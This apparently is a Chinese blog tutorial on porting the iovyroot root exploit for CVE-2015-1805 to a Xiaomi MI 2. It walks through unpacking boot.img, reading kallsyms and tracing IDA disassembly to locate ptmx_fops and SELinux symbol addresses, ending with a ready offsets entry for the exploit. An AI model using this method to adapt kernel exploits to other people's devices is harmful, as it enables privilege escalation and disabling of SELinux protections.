美文网首页
CVE-2015-1805 iovyroot 查找绝对内核地址

CVE-2015-1805 iovyroot 查找绝对内核地址

作者: lastingyang | 来源:发表于2017-01-06 20:31 被阅读0次

    CVE-2015-1805 iovyroot find absolute kernel addresses

    CVE-2015-1805 iovyroot 查找绝对内核地址

    1. 提取zImage

    1.1 下载rom,找到boot.img

    1.2. 使用unpackbootimg或者其他工具解压boot.img

    unpackbootimg -i boot.img  -o out
    

    1.3. out目录下文件如下:

    drwxrwxr-x 2 android android    4096 1月   6 17:45 .
    drwxrwxr-x 4 android android    4096 1月   6 17:45 ..
    -rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-base
    -rw-rw-r-- 1 android android      99 1月   6 17:45 boot.img-cmdline
    -rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-dt
    -rw-rw-r-- 1 android android       5 1月   6 17:45 boot.img-pagesize
    -rw-rw-r-- 1 android android 1969875 1月   6 17:45 boot.img-ramdisk.gz
    -rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-ramdisk_offset
    -rw-rw-r-- 1 android android       0 1月   6 17:45 boot.img-second
    -rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-second_offset
    -rw-rw-r-- 1 android android       9 1月   6 17:45 boot.img-tags_offset
    -rw-rw-r-- 1 android android 6097624 1月   6 17:45 boot.img-zImage
    

    1.4. binwalk boot.img-zImage -e提取被gzip压缩的zImage

    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    15851         0x3DEB          gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
    binwalk会自动生成一个_boot.img-zImage.extracted目录,里面有个文件名为3DEB的文件,文件名为data的十六进制起始地址
    

    2. 32位rom获取符号的内核地址

     查看iovyroot源码中会知道有个offset结构体,可以看到32位的设备需要获取5个符号的地址
    
    struct offsets {
        char* devname; //ro.product.model
        char* kernelver; // /proc/version
        union {
            void* fsync; //ptmx_fops -> fsync
            void* check_flags; //ptmx_fops -> check_flags
        };  
    #if (__LP64__)
        void* joploc; //gadget location, see getroot.c
        void* jopret; //return to setfl after check_flags() (fcntl.c), usually inlined in sys_fcntl
    #endif
        void* sidtab; //optional, for selinux contenxt
        void* policydb; //optional, for selinux context
        void* selinux_enabled;
        void* selinux_enforcing;
    };
    
    分别为ptmx_fops, sidtab, policydb, selinux_enabled, selinux_enforcing
    

    2.1 使用kallsymsprint可以获取以上5个符号的地址

    kallsymsprint.x86是获取32位zImage的工具
    kallsymsprint.x64是获取64位zImage的工具
    
    $kallsymsprint.x86 3DEB | grep -E "ptmx_fops|sidtab|policydb|selinux_enabled|selinux_enforcing"
    [+]mmap
      mem=f67c0000 length=00d8c18c offset=c9848000
    [+]kallsyms_addresses=c08e6030
      count=000135d4
    [+]kallsyms_num_syms=000135d4
    [+]kallsyms_names=c0933790
    [+]kallsyms_markers=c0a1f6b0
    [+]kallsyms_token_table=c0a1fb90
    [+]kallsyms_token_index=c0a1ff30
    [+]kallsyms_lookup_name
    ...
    ...
    ...
    //这个地址是小米3的地址,我手里的测试机是小米2s,而小米2s的zImage使用kallsymsprint找不到这几个符号和地址
    c0d2a184 selinux_enabled
    c0fe9640 selinux_enforcing
    c0feb0a0 policydb
    c0feb1a4 sidtab
    c0fefdd0 ptmx_fops
    ...
    ...
    

    2.2 添加offset

    把2.1获取的5个符号的地址和model,linux version按格式添加在offsets.c的offsets数组中即可。
    在iovyroot根目录运行ndk-build编译即可。
    

    2.3 使用kallsymsprint无法获取到5个符号的地址

    上面我们已经讲到有些zImage使用kallsymsprint没法获取我们需要的符号地址,比如我的小米2s,那么怎么办呢?
    别着急,祭出我们的大杀器IDA神器+源码引用(小米内核源码的地址见附录)
    

    2.4 IDA加载32位的zImage

    Load a New file

    使用32位的IDA加载zImage时,Processer Type选择 ARM,勾选Manual load, 点击Ok

    Change start address

    在ROM start address和Loading address填写0xc0008000,这个是内核.text段的起始地址,通常都为0xc0008000,点击OK等待IDA加载完成。

    如果你不确定是不是这个地址, 你可以使用如下命令直接从手机中获取

    adb reboot; adb wait-for-device; adb shell dmesg
    

    往上查看dmesg的输出信息可以找到

    .text address

    2.5 寻找 ptmx_fops 地址

    在小米内核源码中搜索,直接在github中搜索的ptmx_fops


    ptmx_fops

    由上图可以看到ptmx_fops仅在pty.c文件中被引用了两次,随便选一处引用

    tty_default_fops(&ptmx_fops);
    

    再次搜索tty_default_fops发现就只有一处调用该函数,那就用这个tty_default_fops函数去找到ptmx_fops吧

    $kallsymsprint.x86 3DEB | grep -E "tty_default_fops"
    
    [+]mmap
      mem=f6585000 length=00fd6d84 offset=c9a83000
    [+]kallsyms_addresses=c09c7dc0
      count=00010242
    [+]kallsyms_num_syms=00010242
    [+]kallsyms_names=c0a086e0
    [+]kallsyms_markers=c0ac5ef0
    [+]kallsyms_token_table=c0ac6300
    [+]kallsyms_token_index=c0ac6690
    [+]kallsyms_lookup_name
    
    c03fb21c tty_default_fops
    //如果使用kallsymsprint也没有找到tty_default_fops的地址,那么就选择其他引用ptmx_fops的函数或全局变量符号
    

    IDA跳转到地址c03fb21c(按g,输入地址,即可跳转到指定地址),把c03fb21c重命名为tty_default_fops(按n, 输入名称,即可修改别名)

    IDA查找tty_default_fops的引用(按x,可以找到所有引用该函数的地址),由于从源码知道只有一次引用该函数,就直接跳转到应用tty_default_fops的地方

    //根据tty_default_fops源码知道它只有一个参数,有如下汇编代码:
    ROM:C0D1F41C                 STMFD           SP!, {R0-R2,R4-R11,LR}
    ROM:C0D1F420                 MOV             R0, #0x100000
    ROM:C0D1F424                 MOV             R1, #0
    ROM:C0D1F428                 LDR             R5, =0xC12D5290
    ROM:C0D1F42C                 BL              sub_C03F7CD0
    //...此处省略N多代码
    ROM:C0D1F588                 ADD             R0, R5, #8
    ROM:C0D1F58C                 BL              tty_default_fops
    
    ADD             R0, R5, #8 的意思是R0=R5+8
    因为
    LDR             R5, =0xC12D5290
    可以得到R0 = 0xC12D5290 + 8 = 0xC12D5298
    
    

    那么就找到了ptmx_fops的地址为0xC12D5298

    2.6 寻找 sidtab 地址

    源码中搜索sidtab,找到很多处引用,发现在services.c 中有个静态的结构体变量,


    sidtab

    进入services.c中,找引用sidtab的地方,找啊找啊找朋友~~~,找到一个好朋友

    什么是好朋友呢,就是参数越少的函数,引用越少的函数,这种函数方便分析,

    sidtab_shutdown
    $kallsymsprint.x86 3DEB | grep -E "sidtab_shutdown"
    [+]mmap
      mem=f656f000 length=00fd6d84 offset=c9a99000
    [+]kallsyms_addresses=c09c7dc0
      count=00010242
    [+]kallsyms_num_syms=00010242
    [+]kallsyms_names=c0a086e0
    [+]kallsyms_markers=c0ac5ef0
    [+]kallsyms_token_table=c0ac6300
    [+]kallsyms_token_index=c0ac6690
    [+]kallsyms_lookup_name
    c0345b64 sidtab_shutdown
    
    //IDA中找到如下汇编:
    ROM:C034DE54                 LDR             R4, =0xC12BC420
    ROM:C034DE58                 ADD             R0, R4, #0x110
    ROM:C034DE5C                 BL              sidtab_shutdown
    
    //可以得到R0 = R4 + 0x110 = 0xC12BC420 + 0x110 = 0xC12BC530
    

    sidtab的地址为0xC12BC530

    2.7 寻找 policydb 地址

    policydb policydb_read
    $ kallsymsprint.x86 3DEB | grep -E "policydb_read"
    [+]mmap
      mem=f65d9000 length=00fd6d84 offset=c9a2f000
    [+]kallsyms_addresses=c09c7dc0
      count=00010242
    [+]kallsyms_num_syms=00010242
    [+]kallsyms_names=c0a086e0
    [+]kallsyms_markers=c0ac5ef0
    [+]kallsyms_token_table=c0ac6300
    [+]kallsyms_token_index=c0ac6690
    [+]kallsyms_lookup_name
    c0348f4c policydb_read
    
    ROM:C034DC58                 STMFD           SP!, {R4-R7,LR}
    ROM:C034DC5C                 MOV             R3, #0
    ROM:C034DC60                 LDR             R4, =0xC12BC420
    //...此处省略一点代码
    ROM:C034DC88                 MOV             R0, R4
    ROM:C034DC8C                 ADD             R1, SP, #0x260+var_250
    ROM:C034DC90                 BL              policydb_read
    
    由policydb_read(&policydb, fp);得到R0为policydb
    

    policydb地址0xC12BC420

    2.8 寻找 selinux_enabled 地址

    selinux_enabled
    $ kallsymsprint.x86 3DEB | grep -E "selinux_is_enabled"
    [+]mmap
      mem=f6606000 length=00fd6d84 offset=c9a02000
    [+]kallsyms_addresses=c09c7dc0
      count=00010242
    [+]kallsyms_num_syms=00010242
    [+]kallsyms_names=c0a086e0
    [+]kallsyms_markers=c0ac5ef0
    [+]kallsyms_token_table=c0ac6300
    [+]kallsyms_token_index=c0ac6690
    [+]kallsyms_lookup_name
    c03445b8 selinux_is_enabled
    c0bbfa24 __ksymtab_selinux_is_enabled
    c0bc711c __kcrctab_selinux_is_enabled
    c0bd1a63 __kstrtab_selinux_is_enabled
    
    
    ROM:C03445B8 selinux_is_enabled
    ROM:C03445B8                 LDR             R3, =dword_C0F5332C
    ROM:C03445BC                 LDR             R0, [R3]
    ROM:C03445C0                 MOVS            R0, R0
    ROM:C03445C4                 MOVNE           R0, #1
    ROM:C03445C8                 BX              LR
    ROM:C03445C8 ; End of function selinux_is_enabled
    
    由selinux_is_enabled得到selinux_enabled的地址0xC0F5332C
    

    selinux_enabled地址0xC0F5332C

    2.9 寻找 selinux_enforcing 地址

    selinux_enforcing selnl_notify_setenforce
    $ kallsymsprint.x86 3DEB | grep -E "selnl_notify_setenforce"
    [+]mmap
      mem=f659c000 length=00fd6d84 offset=c9a6c000
    [+]kallsyms_addresses=c09c7dc0
      count=00010242
    [+]kallsyms_num_syms=00010242
    [+]kallsyms_names=c0a086e0
    [+]kallsyms_markers=c0ac5ef0
    [+]kallsyms_token_table=c0ac6300
    [+]kallsyms_token_index=c0ac6690
    [+]kallsyms_lookup_name
    c0343b60 selnl_notify_setenforce
    
    
    ROM:C0342DB8                 BNE             loc_C0342E68
    ROM:C0342DBC                 LDR             R7, =0xC12BA9D0
    //...此处省略N多代码
    ROM:C0342E40 loc_C0342E40                            ; CODE XREF: ROM:C0342E34�j
    ROM:C0342E40                 LDR             R0, [R7]
    ROM:C0342E44                 BL              selnl_notify_setenforce
    
    根据汇编代码R0=R7=0xC12BA9D0,得到selinux_enforcing的地址0xC12BA9D0
    

    selinux_enforcing地址0xC12BA9D0

    2.10 offset

    //Xiaomi MI 2, MIUI 7.2.4.0 Android 5.0.2 LRX22G
    { "MI 2", "Linux version 3.4.0-perf-g9b728b6-00625-ge66671e (builder@qh-miui-ota-bd53) (gcc version 4.8 (GCC) ) #1 SMP PREEMPT Mon Mar 7 20:05:25 CST 2016",
    { (void*)FSYNC_OFFSET(0xC12D5298) },
    (void*)0xC12BC530, (void*)0xC12BC420, (void*)0xC0F5332C, (void*)0xC12BA9D0 },
    

    2.11 演示结果

    aries_iovyroot

    3. 64位rom获取符号的内核地址(待续)

    A.附录:

    iovyroot: https://github.com/dosomder/iovyroot
    unpackbootimg: https://github.com/CyanogenMod/android_system_core  文件目录mkbootimg/unpackbootimg,需要自己编译 
    解压boot.img的其他工具: https://github.com/jpacg/bootimg
    kallsymsprint: https://github.com/fi01/kallsymsprint
    小米内核源码: https://github.com/MiCode/Xiaomi_Kernel_OpenSource
    

    B.参考链接

    https://github.com/dosomder/iovyroot/issues/1
    http://h3ysatan.blogspot.sg/2016/04/iovyroot-cve-2015-1805.html

    相关文章

      网友评论

          本文标题:CVE-2015-1805 iovyroot 查找绝对内核地址

          本文链接:https://www.haomeiwen.com/subject/zdexbttx.html